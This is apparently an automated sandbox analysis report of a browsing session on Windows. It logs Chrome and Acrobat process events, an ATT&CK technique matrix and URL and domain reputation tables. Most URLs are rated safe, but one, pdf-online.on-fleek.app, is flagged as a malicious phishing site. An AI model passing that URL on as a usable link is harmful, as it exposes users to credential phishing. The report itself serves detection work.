Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6764 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6700 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 995
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 995			Jump to dropped file

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	Path Interception	1 Process Injection	11 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Drive-by Compromise	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
http://g.co/dev/maps-no-account	0%	URL Reputation	safe
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://swiperjs.com	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://support.google.com/fusiontables/answer/9185417).	0%	URL Reputation	safe
https://developers.google.com/maps/deprecations	0%	URL Reputation	safe
https://www.citydiamondcontracting.com/uploads/services/5/6b7430e47711776a692abe259b42d33c.jpg	0%	Avira URL Cloud	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe
https://www.tomsher.com/assets/imgs/logos/17.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/react-native-hybrid-mobile-application-development	0%	Avira URL Cloud	safe
https://www.google.com/maps/vt?pb=!1m4!1m3!1i15!2i21415!3i14013!1m4!1m3!1i15!2i21414!3i14014!1m4!1m3!1i15!2i21415!3i14014!2m3!1e0!2sm!3i707457653!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m15!299174093m14!14m13!1m8!1m2!1y4494427010317758935!2y5827414787517094799!2s%2Fg%2F11bbth6f7x!4m2!1x251881333!2x552584050!15sgcid%3Ageneral_contractor!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3619	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/logos/25.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/projects/11/dc8d49617e8c915bd5328fa315b82453.webp	0%	Avira URL Cloud	safe
http://alizahid.github.io/jquery-sliding-menu/	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/certifications/3/b28c762ff89177dacd4852c7b909ca34.jpg	0%	Avira URL Cloud	safe
https://www.tomsher.com/social-media-marketing	0%	Avira URL Cloud	safe
https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers	0%	URL Reputation	safe
https://www.tomsher.com/assets/imgs/logo.png	0%	Avira URL Cloud	safe
http://127.0.0.1:5500/service-details.html	0%	Avira URL Cloud	safe
https://i.ytimg.com/vi/hOPpxvP2E28/sddefault.jpg?sqp=-oaymwEmCIAFEOAD8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGGUgWyhIMA8=&rs=AOn4CLB1pwsAn0qkJuzQscocunfjgcf4QA	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/7/5e07aca7ac8c83df08eeb434753dbfeb.jpg	0%	Avira URL Cloud	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://developers.google.com/maps/documentation/javascript/libraries	0%	URL Reputation	safe
https://www.tomsher.com/assets/images/menu/blogger.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/25/fd44eb6a5f7ee9bdeaaf121d22595ebe.jpg	0%	Avira URL Cloud	safe
https://youtu.be/	0%	URL Reputation	safe
https://www.tomsher.com/assets/js/ScrollTrigger.min.js	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/js/chroma.min.js	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/images/logo1.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/dynamic/19/8c31bd6a7e31516d9af11ddd76cf1f8b.png	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/logow.png	0%	Avira URL Cloud	safe
https://www.google.com/maps/vt?pb=!1m5!1m4!1i15!2i21412!3i14013!4i256!2m3!1e0!2sm!3i707457593!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!5m1!1e3!23i47083502!27m15!299174093m14!14m13!1m8!1m2!1y4494427010317758935!2y5827414787517094799!2s%2Fg%2F11bbth6f7x!4m2!1x251881333!2x552584050!15sgcid%3Ageneral_contractor!2b0!3b0!6b0!8b0&client=google-maps-embed&token=82046	0%	Avira URL Cloud	safe
https://tomsher.com/	0%	Avira URL Cloud	safe
https://www.tomsher.com/travel-portal-development	0%	Avira URL Cloud	safe
https://www.tomsher.com/portfolio	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/logos/7.png	0%	Avira URL Cloud	safe
https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d7220.8946438946405!2d55.258405!3d25.188133!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x50df22dfd0d09b8f!2sCity%20Diamond%20Contracting%20LLC!5e0!3m2!1sen!2sus!4v1663058383351!5m2!1sen!2sus	0%	Avira URL Cloud	safe
https://assets10.lottiefiles.com/packages/lf20_wd6xyqkx.json	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/squarespace.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/smm.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/vps.png	0%	Avira URL Cloud	safe
https://www.youtube.com/generate_204?cpn=	0%	Avira URL Cloud	safe
https://www.youtube.com/s/player/b0557ce3/player_ias.vflset/en_US/embed.js	0%	Avira URL Cloud	safe
https://www.tomsher.com/waste-oil-management-system	0%	Avira URL Cloud	safe
https://pdf-online.on-fleek.app/styles.css	100%	Avira URL Cloud	phishing
https://www.youtube.com/s/player/b0557ce3/player_ias.vflset/en_US/remote.js	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/api.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/projects/23/c7a29cc2e7fdcacc9c3f5f4ff3bddd5f.webp	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/amazon.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/oil-barrel.png	0%	Avira URL Cloud	safe
https://i.ytimg.com/vi_webp/Jo_coLYPcOQ/sddefault.webp	0%	Avira URL Cloud	safe
https://www.tomsher.com/student-learning-management-system	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/shape/22.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/js/jquery-3.6.0.min.js	0%	Avira URL Cloud	safe
https://www.tomsher.com/erp-integration	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/56/44d739a3dc26606dec5eb5ca88f44a23.jpg	0%	Avira URL Cloud	safe
https://www.tomsher.com/fresha-business-account-setup	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/service/website_development.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/content-writing-company	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/images/captcha.jpg	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.1/webfonts/fa-brands-400.woff2	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/email.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/meta.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/google-ads-ppc-campaigns	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/42/127f314bccd9badeb03578047c9cb10a.jpg	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/dynamic/12/e14e9190beffdec276a88b4d487cd9ab.webp	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/news/7/37084e21a1e397964e863e3221dbb8f2.jpg	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/menu3.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/home/website.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/15/6c129810768a62552c68ec890060bf78.jpg	0%	Avira URL Cloud	safe
https://www.youtube.com/s/player/b0557ce3/www-embed-player.vflset/www-embed-player.js	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/portfolio/malabar.webp	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/custom-web.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/logos/8.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/menu/woocommerce.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/30/52a16fee16be4cc11cc072eda9411226.jpg	0%	Avira URL Cloud	safe
https://i.ytimg.com/vi/xFzWNmILl40/sddefault.jpg	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/dynamic/6/d1cf623cfda2ed689fc6281afcfa75de.webp	0%	Avira URL Cloud	safe
https://www.tomsher.com/ebrochure-design	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/business-partner.webp	0%	Avira URL Cloud	safe
https://angular.dev/license	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/logos/his-logo-blue.png	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/projects/6/f8dd4bffdef039afd52cc92797706540.webp	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/imgs/home/web-hosting.png	0%	Avira URL Cloud	safe
https://www.tomsher.com/assets/images/clients/cdc.png	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/41/9a425284a8782bb86f821fa481605497.jpg	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/31/707eac7627727f1d32ffd41fb4f47eee.jpg	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/39/b98bea2f5aa38986a63def4cfb9af12e.jpg	0%	Avira URL Cloud	safe
https://www.tomsher.com/squarespace-website-development	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api.js	0%	Avira URL Cloud	safe
https://css-tricks-post-videos.s3.us-east-1.amazonaws.com/blurry-trees.mov	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/73/f7d9e3f0ec916b964874a8af689c6f7a.jpg	0%	Avira URL Cloud	safe
https://www.tomsher.com/employee-overtime-management-system	0%	Avira URL Cloud	safe
https://www.tomsher.com/web-design-development	0%	Avira URL Cloud	safe
https://search.google.com/local/reviews?placeid=ChIJ1zHpqo1pXz4Rj5vQ0N8i31A	0%	Avira URL Cloud	safe
https://www.citydiamondcontracting.com/uploads/partners/4/ed0c80b1db009dd23b3c0d61985ff1a0.jpg	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
i.ytimg.com	142.250.185.246	true	false	unknown
tomsher.com	173.231.208.7	true	false	unknown
citydiamondcontracting.com	173.231.215.118	true	false	unknown
static.doubleclick.net	172.217.16.198	true	false	unknown
stats.g.doubleclick.net	74.125.133.156	true	false	unknown
youtube-ui.l.google.com	216.58.206.78	true	false	unknown
analytics-alv.google.com	216.239.32.181	true	false	unknown
googleads.g.doubleclick.net	142.250.185.98	true	false	unknown
play.google.com	172.217.18.14	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
photos-ugc.l.googleusercontent.com	172.217.16.193	true	false	unknown
www.google.com	172.217.16.132	true	false	unknown
td.doubleclick.net	142.250.185.162	true	false	unknown
pdf-online.on-fleek.app	104.26.13.141	true	true	unknown
yt3.ggpht.com	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	unknown
www.citydiamondcontracting.com	unknown	unknown	false	unknown
analytics.google.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
www.tomsher.com	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://www.tomsher.com/assets/imgs/logos/25.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/logos/17.png	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/projects/11/dc8d49617e8c915bd5328fa315b82453.webp	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/services/5/6b7430e47711776a692abe259b42d33c.jpg	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/logo.png	false	Avira URL Cloud: safe	unknown
https://www.google.com/maps/vt?pb=!1m4!1m3!1i15!2i21415!3i14013!1m4!1m3!1i15!2i21414!3i14014!1m4!1m3!1i15!2i21415!3i14014!2m3!1e0!2sm!3i707457653!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m15!299174093m14!14m13!1m8!1m2!1y4494427010317758935!2y5827414787517094799!2s%2Fg%2F11bbth6f7x!4m2!1x251881333!2x552584050!15sgcid%3Ageneral_contractor!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3619	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/certifications/3/b28c762ff89177dacd4852c7b909ca34.jpg	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/7/5e07aca7ac8c83df08eeb434753dbfeb.jpg	false	Avira URL Cloud: safe	unknown
https://i.ytimg.com/vi/hOPpxvP2E28/sddefault.jpg?sqp=-oaymwEmCIAFEOAD8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGGUgWyhIMA8=&rs=AOn4CLB1pwsAn0qkJuzQscocunfjgcf4QA	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/blogger.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/js/ScrollTrigger.min.js	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/js/chroma.min.js	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/25/fd44eb6a5f7ee9bdeaaf121d22595ebe.jpg	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/images/logo1.png	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/dynamic/19/8c31bd6a7e31516d9af11ddd76cf1f8b.png	false	Avira URL Cloud: safe	unknown
https://www.google.com/maps/vt?pb=!1m5!1m4!1i15!2i21412!3i14013!4i256!2m3!1e0!2sm!3i707457593!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!5m1!1e3!23i47083502!27m15!299174093m14!14m13!1m8!1m2!1y4494427010317758935!2y5827414787517094799!2s%2Fg%2F11bbth6f7x!4m2!1x251881333!2x552584050!15sgcid%3Ageneral_contractor!2b0!3b0!6b0!8b0&client=google-maps-embed&token=82046	false	Avira URL Cloud: safe	unknown
https://tomsher.com/	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/logow.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/logos/7.png	false	Avira URL Cloud: safe	unknown
https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d7220.8946438946405!2d55.258405!3d25.188133!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x50df22dfd0d09b8f!2sCity%20Diamond%20Contracting%20LLC!5e0!3m2!1sen!2sus!4v1663058383351!5m2!1sen!2sus	false	Avira URL Cloud: safe	unknown
https://pdf-online.on-fleek.app/styles.css	true	Avira URL Cloud: phishing	unknown
https://www.tomsher.com/assets/images/menu/vps.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/squarespace.png	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/b0557ce3/player_ias.vflset/en_US/embed.js	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/smm.png	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/b0557ce3/player_ias.vflset/en_US/remote.js	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/api.png	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/projects/23/c7a29cc2e7fdcacc9c3f5f4ff3bddd5f.webp	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/amazon.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/oil-barrel.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/js/jquery-3.6.0.min.js	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/shape/22.png	false	Avira URL Cloud: safe	unknown
https://i.ytimg.com/vi_webp/Jo_coLYPcOQ/sddefault.webp	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/56/44d739a3dc26606dec5eb5ca88f44a23.jpg	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/service/website_development.png	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/images/captcha.jpg	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/news/7/37084e21a1e397964e863e3221dbb8f2.jpg	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/email.png	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.1/webfonts/fa-brands-400.woff2	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/dynamic/12/e14e9190beffdec276a88b4d487cd9ab.webp	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/meta.png	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/42/127f314bccd9badeb03578047c9cb10a.jpg	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/menu3.png	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/15/6c129810768a62552c68ec890060bf78.jpg	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/b0557ce3/www-embed-player.vflset/www-embed-player.js	false	Avira URL Cloud: safe	unknown
https://i.ytimg.com/vi/xFzWNmILl40/sddefault.jpg	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/portfolio/malabar.webp	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/30/52a16fee16be4cc11cc072eda9411226.jpg	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/woocommerce.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/menu/custom-web.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/logos/8.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/business-partner.webp	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/dynamic/6/d1cf623cfda2ed689fc6281afcfa75de.webp	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/logos/his-logo-blue.png	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/images/clients/cdc.png	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/projects/6/f8dd4bffdef039afd52cc92797706540.webp	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/41/9a425284a8782bb86f821fa481605497.jpg	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/31/707eac7627727f1d32ffd41fb4f47eee.jpg	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/39/b98bea2f5aa38986a63def4cfb9af12e.jpg	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/4/ed0c80b1db009dd23b3c0d61985ff1a0.jpg	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api.js	false	Avira URL Cloud: safe	unknown
https://www.citydiamondcontracting.com/uploads/partners/73/f7d9e3f0ec916b964874a8af689c6f7a.jpg	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.tomsher.com/social-media-marketing	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/react-native-hybrid-mobile-application-development	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
http://g.co/dev/maps-no-account	chromecache_863.2.dr	false	URL Reputation: safe	unknown
http://alizahid.github.io/jquery-sliding-menu/	chromecache_880.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_917.2.dr	false	URL Reputation: safe	unknown
https://swiperjs.com	chromecache_986.2.dr, chromecache_922.2.dr	false	URL Reputation: safe	unknown
http://127.0.0.1:5500/service-details.html	chromecache_971.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_941.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_686.2.dr, chromecache_694.2.dr	false	URL Reputation: safe	unknown
https://www.tomsher.com/travel-portal-development	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/portfolio	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	chromecache_863.2.dr	false	URL Reputation: safe	unknown
https://assets10.lottiefiles.com/packages/lf20_wd6xyqkx.json	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha	chromecache_694.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/fusiontables/answer/9185417).	chromecache_863.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/maps/deprecations	chromecache_863.2.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/generate_204?cpn=	chromecache_1244.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/waste-oil-management-system	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/student-learning-management-system	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/fresha-business-account-setup	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/erp-integration	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/content-writing-company	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_880.2.dr	false	URL Reputation: safe	unknown
https://www.tomsher.com/google-ads-ppc-campaigns	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/home/website.png	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/ebrochure-design	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers	chromecache_863.2.dr	false	URL Reputation: safe	unknown
https://angular.dev/license	chromecache_1244.2.dr, chromecache_626.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/assets/imgs/home/web-hosting.png	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://cloud.google.com/contact	chromecache_686.2.dr, chromecache_694.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/maps/documentation/javascript/libraries	chromecache_863.2.dr	false	URL Reputation: safe	unknown
https://youtu.be/	chromecache_1244.2.dr	false	URL Reputation: safe	unknown
https://www.tomsher.com/squarespace-website-development	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://css-tricks-post-videos.s3.us-east-1.amazonaws.com/blurry-trees.mov	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/employee-overtime-management-system	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
https://www.tomsher.com/web-design-development	chromecache_1227.2.dr	false	Avira URL Cloud: safe	unknown
